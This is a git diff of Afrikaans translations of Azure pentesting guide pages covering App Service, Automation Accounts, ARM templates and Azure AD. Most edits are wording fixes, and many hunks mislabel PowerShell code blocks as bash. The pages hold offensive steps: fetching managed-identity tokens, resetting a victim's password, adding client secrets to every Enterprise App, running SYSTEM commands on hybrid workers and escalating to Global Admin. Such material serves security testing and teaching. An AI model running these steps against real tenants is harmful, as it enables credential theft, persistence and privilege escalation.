-- **Deurlopend**: Loop eindeloos in 'n lus en word geaktiveer sodra dit geskep word. Dit is ideaal vir take wat konstante verwerking vereis. As die toepassing egter stop loop omdat Always On gedeaktiveer is en dit nie 'n versoek in die afgelope 20 minute ontvang het nie, sal die web job ook stop.
+- **Deurlopend**: Loop eindeloos in 'n lus en word geaktiveer sodra dit geskep word. Dit is ideaal vir take wat konstante verwerking vereis. As die toepassing egter stop loop omdat Always On gedeaktiveer is en dit nie 'n versoek in die laaste 20 minute ontvang het nie, sal die web job ook stop.
- **Geaktiveer**: Loop op aanvraag of gebaseer op 'n skedule. Dit is die beste geskik vir periodieke take, soos batch data-opdaterings of onderhoudsroetines.
-Webjobs is baie interessant vanuit 'n aanvallers perspektief, aangesien hulle gebruik kan word om **kode** in die omgewing uit te voer en **privileges** na die aangehegte bestuurde identiteite op te skaal.
+Webjobs is baie interessant vanuit 'n aanvallers perspektief, aangesien dit gebruik kan word om **kode** in die omgewing uit te voer en **privileges** na die aangehegte bestuurde identiteite op te skaal.
-Boonop is dit altyd interessant om die **logs** wat deur die Webjobs gegenereer word, na te gaan, aangesien hulle **sensitiewe inligting** kan bevat.
+Boonop is dit altyd interessant om die **logs** wat deur die Webjobs gegenereer word, te kontroleer, aangesien dit **sensitiewe inligting** kan bevat.
## Slots
Azure App Service Slots word gebruik om **verskillende weergawes van die toepassing** na dieselfde App Service te ontplooi. Dit stel ontwikkelaars in staat om nuwe funksies of veranderinge in 'n aparte omgewing te toets voordat hulle dit na die produksie omgewing ontplooi.
-Boonop is dit moontlik om 'n **persentasie van die verkeer** na 'n spesifieke slot te lei, wat nuttig is vir A/B-toetsing, en vir **agterdeurdoeleindes**.
+Boonop is dit moontlik om 'n **persentasie van die verkeer** na 'n spesifieke slot te lei, wat nuttig is vir A/B toetsing, en vir **agterdeurdoeleindes**.
## Azure Function Apps
-Basies **Azure Function apps is 'n subset van Azure App Service** in die webkonsol en as jy na die webkonsol gaan en al die app dienste lys of `az webapp list` in az cli uitvoer, sal jy in staat wees om **die Funksie apps ook daar gelys te sien**.
+Basies **Azure Function apps is 'n substel van Azure App Service** in die webkonsol en as jy na die webkonsol gaan en al die app dienste lys of `az webapp list` in az cli uitvoer, sal jy in staat wees om **die Funksie apps ook daar gelys te sien**.
Daarom het beide dienste eintlik meestal die **dieselfde konfigurasies, funksies en opsies in die az cli**, alhoewel hulle dit dalk 'n bietjie anders kan konfigureer (soos standaardwaardes van appsettings of die gebruik van 'n Stoor Rekening in die Funksie apps).
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name --resource-group
{{#endtab }}
{{#tab name="Az Powershell" }}
-```powershell
+```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
@@ -238,12 +238,12 @@ cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
-Logging in die SCM-portaal of aanmeld via FTP, is dit moontlik om in `/wwwroot` die gecomprimeerde lêer `output.tar.gz` te sien wat die kode van die webapp bevat.
+Teken in op die SCM-portaal of teken in via FTP, dit is moontlik om in `/wwwroot` die gecomprimeerde lêer `output.tar.gz` te sien wat die kode van die webapp bevat.
> [!TIP]
> Net om via FTP te verbind en die lêer `output.tar.gz` te wysig, is nie genoeg om die kode wat deur die webapp uitgevoer word, te verander nie.
-**'n Aanvaller kan hierdie lêer aflaai, dit wysig, en dit weer oplaai om arbitrêre kode in die webapp uit te voer.**
+**'n Aanvaller kan hierdie lêer aflaai, dit wysig en dit weer oplaai om arbitrêre kode in die webapp uit te voer.**
### Python van Github
@@ -251,9 +251,9 @@ Hierdie tutoriaal is gebaseer op die vorige een, maar gebruik 'n Github-repo.
1. Fork die repo msdocs-python-flask-webapp-quickstart in jou Github-rekening.
2. Skep 'n nuwe python Web App in Azure.
-3. In `Deployment Center` verander die bron, meld aan met Github, kies die geforkte repo en klik `Save`.
+3. In `Deployment Center` verander die bron, teken in met Github, kies die geforkte repo en klik `Save`.
-Soos in die vorige geval, is dit moontlik om in die SCM-portaal of via FTP in `/wwwroot` die gecomprimeerde lêer `output.tar.gz` te sien wat die kode van die webapp bevat.
+Soos in die vorige geval, teken in op die SCM-portaal of teken in via FTP, dit is moontlik om in `/wwwroot` die gecomprimeerde lêer `output.tar.gz` te sien wat die kode van die webapp bevat.
> [!TIP]
> Net om via FTP te verbind en die lêer `output.tar.gz` te wysig en 'n implementering weer te aktiveer, is nie genoeg om die kode wat deur die webapp uitgevoer word, te verander nie.
diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
index 55eb1e41b..8aab8566b 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
@@ -15,12 +15,12 @@ Dit werk soos volg:
1. Nadat die gebruiker toegang tot die toepassing verkry het deur 'n eindpunt, word die gebruiker na die **Azure AD aanmeldbladsy** gelei.
2. Na 'n **suksesvolle aanmelding** stuur Azure AD 'n **token** na die gebruiker se kliënttoestel.
3. Die kliënt stuur die token na die **Application Proxy diens**, wat die gebruiker se hoofnaam (UPN) en sekuriteitshoofnaam (SPN) uit die token onttrek. **Application Proxy stuur dan die versoek na die Application Proxy connector**.
-4. As jy enkel aanmelding gekonfigureer het, voer die connector enige **addisionele verifikasie** uit wat namens die gebruiker benodig word.
+4. As jy enkel aanmelding gekonfigureer het, voer die connector enige **addisionele verifikasie** uit wat benodig word namens die gebruiker.
5. Die connector stuur die versoek na die **plaaslike toepassing**.
6. Die **antwoord** word deur die connector en Application Proxy diens **na die gebruiker** gestuur.
## Enumerasie
-```powershell
+```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
index d52d19bfb..89f4a7fde 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
@@ -4,16 +4,16 @@
## Basiese Inligting
-[Uit die dokumentasie:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Om **infrastruktuur as kode vir jou Azure-oplossings** te implementeer, gebruik Azure Resource Manager templates (ARM templates). Die sjabloon is 'n JavaScript Object Notation (**JSON**) lêer wat die **infrastruktuur** en konfigurasie vir jou projek **definieer**. Die sjabloon gebruik deklaratiewe sintaksis, wat jou toelaat om te verklaar wat jy van plan is om te ontplooi sonder om die volgorde van programmeringsopdragte te skryf om dit te skep. In die sjabloon spesifiseer jy die hulpbronne om te ontplooi en die eienskappe vir daardie hulpbronne.
+[Uit die dokumentasie:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Om **infrastruktuur as kode vir jou Azure-oplossings** te implementeer, gebruik Azure Resource Manager-sjablone (ARM-sjablone). Die sjabloon is 'n JavaScript Object Notation (**JSON**) lêer wat die **infrastruktuur** en konfigurasie vir jou projek **definieer**. Die sjabloon gebruik deklaratiewe sintaksis, wat jou toelaat om te verklaar wat jy van plan is om te ontplooi sonder om die volgorde van programmeringsopdragte te skryf om dit te skep. In die sjabloon spesifiseer jy die hulpbronne om te ontplooi en die eienskappe vir daardie hulpbronne.
### Geskiedenis
-As jy toegang daartoe het, kan jy **inligting oor hulpbronne** hê wat nie teenwoordig is nie, maar moontlik in die toekoms ontplooi kan word. Boonop, as 'n **parameter** wat **sensitiewe inligting** bevat, as "**String**" gemerk is **in plaas van** "**SecureString**", sal dit in **duidelike teks** teenwoordig wees.
+As jy toegang daartoe het, kan jy **inligting oor hulpbronne** hê wat nie teenwoordig is nie, maar moontlik in die toekoms ontplooi sal word. Boonop, as 'n **parameter** wat **sensitiewe inligting** bevat, as "**String**" **in plaas van** "**SecureString**" gemerk is, sal dit in **duidelike teks** teenwoordig wees.
## Soek Sensitiewe Inligting
Gebruikers met die toestemmings `Microsoft.Resources/deployments/read` en `Microsoft.Resources/subscriptions/resourceGroups/read` kan **die ontplooiingsgeskiedenis lees**.
-```powershell
+```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName
diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
index 9dee3996a..4e4cb56cf 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
@@ -4,7 +4,7 @@
## Basiese Inligting
-Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomaties** soos hulpbronbestuur, konfigurasie, en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (skripte vir outomatisering wat uitgevoer word), **skedules**, en **hibridewerkersgroepe** om outomatiserings **take** te laat loop, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
+Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomatieseer** soos hulpbronbestuur, konfigurasie en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (skripte vir outomatisering wat uitgevoer word), **skedules**, en **hibrid werkersgroepe** om outomatiserings **take** uit te voer, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
### Instellings
@@ -12,13 +12,13 @@ Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat
- **Veranderlikes**: Gebruik om **konfigurasie data** te stoor wat in runbooks gebruik kan word. Dit kan ook sensitiewe inligting soos API sleutels wees. As die veranderlike **versleuteld gestoor** is, is dit slegs beskikbaar binne 'n runbook binne die automatiseringsrekening.
- **Sertifikate**: Gebruik om **sertifikate** te stoor wat in runbooks gebruik kan word.
- **Verbindings**: Gebruik om **verbindinginligting** na eksterne dienste te stoor. Dit kan **sensitiewe inligting** bevat.
-- **Netwerktoegang**: Dit kan gestel word op **publiek** of **privaat**.
+- **Netwerktoegang**: Dit kan op **publiek** of **privaat** gestel word.
### Runbooks & Take
-'n Runbook in Azure Automatisering is 'n **skrip wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan geskryf word in PowerShell, Python, of grafiese redigeerders. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatiseer.
+'n Runbook in Azure Automatisering is 'n **skrip wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan in PowerShell, Python, of grafiese redigeerders geskryf word. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatiseer.
-In die **kode** geleë binne **Runbooks** kan **sensitiewe inligting** bevat (soos geloofsbriewe).
+In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (soos geloofsbriewe) bevat.
'n **Taak is 'n instansie van 'n Runbook-uitvoering**. Wanneer jy 'n Runbook uitvoer, word 'n Taak geskep om daardie uitvoering te volg. Elke taak sluit in:
@@ -26,14 +26,14 @@ In die **kode** geleë binne **Runbooks** kan **sensitiewe inligting** bevat (so
- **Uitset**: Die resultaat van die Runbook-uitvoering.
- **Begin- en Eindtyd**: Wanneer die taak begin en voltooi is.
-'n Taak bevat die **uitset** van die **Runbook**-uitvoering. As jy die **take** kan **lees**, doen dit aangesien hulle die **uitset** van die uitvoering bevat (potensieel **sensitiewe inligting**).
+'n Taak bevat die **uitset** van die **Runbook**-uitvoering. As jy die **take** kan **lees**, doen dit, aangesien hulle die **uitset** van die uitvoering bevat (potensieel **sensitiewe inligting**).
### Skedules & Webhooks
Daar is 3 hoofmaniere om 'n Runbook uit te voer:
-- **Skedules**: Hierdie word gebruik om **Runbooks** op 'n **spesifieke tyd** of **interval** te **aktiveer**.
-- **Webhooks**: Hierdie is **HTTP eindpunte** wat gebruik kan word om **Runbooks** van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie.
+- **Skedules**: Hierdie word gebruik om Runbooks op 'n **spesifieke tyd** of **interval** te **aktiveer**.
+- **Webhooks**: Hierdie is **HTTP eindpunte** wat gebruik kan word om Runbooks van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie.
- **Handmatige Aktivering**: Jy kan 'n Runbook **handmatig aktiveer** vanaf die Azure-portaal en vanaf die cli.
### Bronbeheer
@@ -42,13 +42,13 @@ Dit laat toe om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)
Wanneer die sinkronisasie geaktiveer is, word in die **Github-repo 'n webhook geskep** om die sinkronisasie te aktiveer elke keer as 'n push-gebeurtenis plaasvind. Voorbeeld van 'n webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
-Let daarop dat hierdie webhooks **nie sigbaar sal wees** wanneer webhooks in die geassosieerde runbooks na die Github-repo gelys word nie. Let ook daarop dat dit **nie moontlik is om die repo-URL** van 'n bronbeheer te verander sodra dit geskep is nie.
+Let daarop dat hierdie webhooks **nie sigbaar** sal wees wanneer webhooks in die geassosieerde runbooks na die Github-repo gelys word nie. Let ook daarop dat dit **nie moontlik is om die repo-URL** van 'n bronbeheer te verander nadat dit geskep is nie.
Ten einde vir die geconfigureerde bronbeheer om te werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruiker bestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit nodig om die kliënt-ID van die gebruiker MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** aan te dui.
-### Tydslope Omgewings
+### Tydslope
-Wanneer 'n Runbook geskep word, is dit moontlik om die tydslope omgewing te kies. Standaard is die volgende tydslope omgewings beskikbaar:
+Wanneer 'n Runbook geskep word, is dit moontlik om die tydslope te kies. Standaard is die volgende tydslope beskikbaar:
- **Powershell 5.1**
- **Powershell 7.1**
@@ -59,18 +59,18 @@ Wanneer 'n Runbook geskep word, is dit moontlik om die tydslope omgewing te kies
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van python, is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell, is dit moontlik om `.zip` pakkette met die modules op te laai wat in die tydslope moet wees.
-### Hibridewerkersgroepe
+### Hibrid Werkersgroepe
-In Azure Automatisering is die standaard uitvoeringsomgewing vir runbooks die **Azure Sandbox**, 'n wolk-gebaseerde platform wat deur Azure bestuur word, geskik vir take wat Azure-bronne betrek. Hierdie sandbox het egter beperkings, soos beperkte toegang tot plaaslike bronne en beperkings op uitvoerings tyd en hulpbron gebruik. Om hierdie beperkings te oorkom, word Hibridewerkersgroepe gebruik. 'n Hibridewerkersgroep bestaan uit **een of meer Hibrid Runbook Workers wat op jou eie masjiene geïnstalleer is**, hetsy plaaslik, in ander wolkomgewings of Azure VM's. Hierdie opstelling laat runbooks toe om direk op hierdie masjiene uit te voer, wat direkte toegang tot plaaslike bronne bied, die vermoë om langer en meer hulpbron-intensiewe take uit te voer, en die buigsaamheid om met omgewings buite Azure se onmiddellike bereik te kommunikeer.
+In Azure Automatisering is die standaard uitvoeringsomgewing vir runbooks die **Azure Sandbox**, 'n wolk-gebaseerde platform wat deur Azure bestuur word, geskik vir take wat Azure-bronne betrek. Hierdie sandbox het egter beperkings, soos beperkte toegang tot plaaslike bronne en beperkings op uitvoerings tyd en hulpbron gebruik. Om hierdie beperkings te oorkom, word Hibrid Werkersgroepe gebruik. 'n Hibrid Werkersgroep bestaan uit **een of meer Hibrid Runbook Werkers wat op jou eie masjiene geïnstalleer is**, hetsy plaaslik, in ander wolkomgewings of Azure VM's. Hierdie opstelling laat runbooks toe om direk op hierdie masjiene uit te voer, wat direkte toegang tot plaaslike bronne bied, die vermoë om langer en meer hulpbron-intensiewe take uit te voer, en die buigsaamheid om met omgewings buite Azure se onmiddellike bereik te kommunikeer.
-Wanneer 'n hibridewerkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik moet word. Daar is 2 opsies:
+Wanneer 'n hibrid werkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik moet word. Daar is 2 opsies:
- **Standaard geloofsbriewe**: Jy hoef nie die geloofsbriewe te verskaf nie en die runbooks sal binne die VM's as **Stelsel** uitgevoer word.
- **Spesifieke geloofsbriewe**: Jy moet die naam van die geloofsbriewe objek binne die automatiseringsrekening verskaf, wat gebruik sal word om die **runbooks binne die VM's** uit te voer. Daarom, in hierdie geval, kan dit moontlik wees om **geldige geloofsbriewe** vir die VM's te **steel**.
-Daarom, as jy kan kies om 'n **Runbook** in 'n **Hibridewerkers** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (lekker pivot tegniek).
+Daarom, as jy kan kies om 'n **Runbook** in 'n **Hibrid Werker** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (lekker pivot tegniek).
-Boonop, as die hibridewerkers in Azure met ander Bestuurde Identiteite aangeheg is, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata diens**.
+Boonop, as die hibrid werker in Azure met ander Bestuurde Identiteite aangeheg is, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata diens**.
> [!TIP]
> Onthou dat die **metadata diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
@@ -78,11 +78,11 @@ Boonop, as die hibridewerkers in Azure met ander Bestuurde Identiteite aangeheg
### Toestand Konfigurasie (SC)
>[!WARNING]
-> Soos aangedui in [die dokumentasie](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskakel word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
+> Soos aangedui in [die dokumentasie](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskaf word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
-Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om **te konfigureer** en **die toestand** van jou VM's te **onderhou**. Dit is moontlik om **te skep** en **toe te pas** DSC konfigurasies op **Windows** en **Linux** masjiene.
+Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om die **toestand** van jou VM's te **konfigureer** en **onderhou**. Dit is moontlik om **te skep** en **toe te pas** DSC konfigurasies op **Windows** en **Linux** masjiene.
-Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer** wat toegelaat het om voorregte na die bestuurde identiteite van hierdie VM's te eskaleer, potensieel te pivot na nuwe netwerke... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
+Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer**, wat dit moontlik maak om voorregte na die bestuurde identiteite van hierdie VM's te verhoog, wat potensieel na nuwe netwerke kan pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
## Opname
```bash
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name --resourc
az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22"
```
-```powershell
+```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index 91461687b..0f601f576 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -4,11 +4,11 @@
## Basiese Inligting
-Azure Active Directory (Azure AD) dien as Microsoft se wolk-gebaseerde diens vir identiteit en toegang bestuur. Dit is noodsaaklik om werknemers in staat te stel om aan te meld en toegang tot hulpbronne te verkry, beide binne en buite die organisasie, insluitend Microsoft 365, die Azure-portaal, en 'n verskeidenheid ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die lewering van noodsaaklike identiteit dienste, wat prominent **authentisering, autorisasie, en gebruikersbestuur** insluit.
+Azure Active Directory (Azure AD) dien as Microsoft se wolk-gebaseerde diens vir identiteit en toegang bestuur. Dit is noodsaaklik om werknemers in staat te stel om aan te meld en toegang te verkry tot hulpbronne, beide binne en buite die organisasie, insluitend Microsoft 365, die Azure-portaal, en 'n verskeidenheid ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die lewering van noodsaaklike identiteit dienste, wat prominent **authentisering, autorisasie, en gebruikersbestuur** insluit.
Belangrike kenmerke van Azure AD sluit **multi-faktor authentisering** en **voorwaardelike toegang** in, tesame met naatlose integrasie met ander Microsoft sekuriteitsdienste. Hierdie kenmerke verhoog die sekuriteit van gebruikersidentiteite aansienlik en bemagtig organisasies om hul toegangbeleide effektief te implementeer en af te dwing. As 'n fundamentele komponent van Microsoft se wolkdienste-ekosisteem, is Azure AD van kardinale belang vir die wolk-gebaseerde bestuur van gebruikersidentiteite.
-## Enumerasie
+## Opsomming
### **Verbinding**
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }}
{{#tab name="Mg" }}
-```powershell
+```bash
# Login Open browser
Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }}
{{#tab name="Raw PS" }}
-```powershell
+```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }}
{{#tab name="Azure AD" }}
-```powershell
+```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -151,10 +151,10 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
Wanneer jy **aanmeld** via **CLI** in Azure met enige program, gebruik jy 'n **Azure-toepassing** van 'n **tenant** wat aan **Microsoft** behoort. Hierdie Toepassings, soos die wat jy in jou rekening kan skep, **het 'n kliënt-id**. Jy **sal nie al hulle kan sien nie** in die **toegelate toepassingslys** wat jy in die konsole kan sien, **maar hulle is standaard toegelaat**.
-Byvoorbeeld, 'n **powershell-skrip** wat **authentiseer** gebruik 'n app met kliënt-id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die konsole nie, kan 'n stelselaanvoerder **daardie toepassing blokkeer** sodat gebruikers nie toegang kan verkry nie met gereedskap wat via daardie App verbind.
+Byvoorbeeld, 'n **powershell-skrip** wat **authentiseer** gebruik 'n app met kliënt-id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die konsole nie, kan 'n stelselaanvoerder daardie toepassing **blokkeer** sodat gebruikers nie toegang kan verkry nie met gereedskap wat via daardie App verbind.
Daar is egter **ander kliënt-ids** van toepassings wat **jou sal toelaat om met Azure te verbind**:
-```powershell
+```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }}
{{#tab name="Azure AD" }}
-```powershell
+```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtabs }}
#### Verander Gebruiker Wagwoord
-```powershell
+```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
### MFA & Voorwaardelike Toegang Beleide
-Dit word sterk aanbeveel om MFA aan elke gebruiker toe te voeg, egter, sommige maatskappye sal dit nie instel of mag dit instel met 'n Voorwaardelike Toegang: Die gebruiker sal **MFA vereis word as** dit vanaf 'n spesifieke ligging, blaaier of **sekere voorwaarde** aanmeld. Hierdie beleide, as dit nie korrek geconfigureer is nie, mag geneig wees tot **omseilings**. Kontroleer:
+Dit word sterk aanbeveel om MFA by elke gebruiker te voeg, maar sommige maatskappye sal dit nie instel nie of mag dit instel met 'n Voorwaardelike Toegang: Die gebruiker sal **MFA vereis word as** dit vanaf 'n spesifieke ligging, blaaiert of **sekere voorwaarde** aanmeld. Hierdie beleide, as dit nie korrek geconfigureer is nie, mag geneig wees tot **omseilings**. Kontroleer:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -318,7 +318,7 @@ Vir meer inligting oor Entra ID groepe, kyk:
{{#tabs }}
{{#tab name="az cli" }}
-```powershell
+```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Azure AD" }}
-```powershell
+```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -394,11 +394,11 @@ Get-AzRoleAssignment -ResourceGroupName
#### Voeg gebruiker by groep
Eienaars van die groep kan nuwe gebruikers by die groep voeg
-```powershell
+```bash
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy aan 'n groep bygevoeg word**. Natuurlik, as die voorwaardes gebaseer is op **kenmerke** wat 'n **gebruiker** kan **beheer**, kan hy hierdie funksie misbruik om **in ander groepe te kom**.\
+> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy aan 'n groep bygevoeg word**. Natuurlik, as die voorwaardes gebaseer is op **eienskappe** wat 'n **gebruiker** kan **beheer**, kan hy hierdie funksie misbruik om **in ander groepe te kom**.\
> Kyk hoe om dinamiese groepe te misbruik op die volgende bladsy:
{{#ref}}
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Azure AD" }}
-```powershell
+```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName
{{#endtab }}
{{#tab name="Raw" }}
-```powershell
+```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -488,8 +488,8 @@ Headers = @{
-Ly en probeer om 'n kliënt geheim by elke Enterprise App te voeg
-```powershell
+lys en probeer om 'n kliënt geheim by elke Enterprise App te voeg
+```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -603,8 +603,8 @@ Vir meer inligting oor Toepassings, kyk:
Wanneer 'n App gegenereer word, word 2 tipes toestemmings gegee:
-- **Toestemmings** gegee aan die **Diens Prinsipal**
-- **Toestemmings** wat die **app** kan hê en gebruik namens die **gebruiker**.
+- **Toestemmings** gegee aan die **Diens Prinsipaal**
+- **Toestemmings** wat die **app** kan hê en gebruik op **naam van die gebruiker**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
-```powershell
+```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -653,14 +653,14 @@ Get-AzADAppCredential
{{#endtabs }}
> [!WARNING]
-> 'n App met die toestemming **`AppRoleAssignment.ReadWrite`** kan **opgradeer na Global Admin** deur homself die rol toe te ken.\
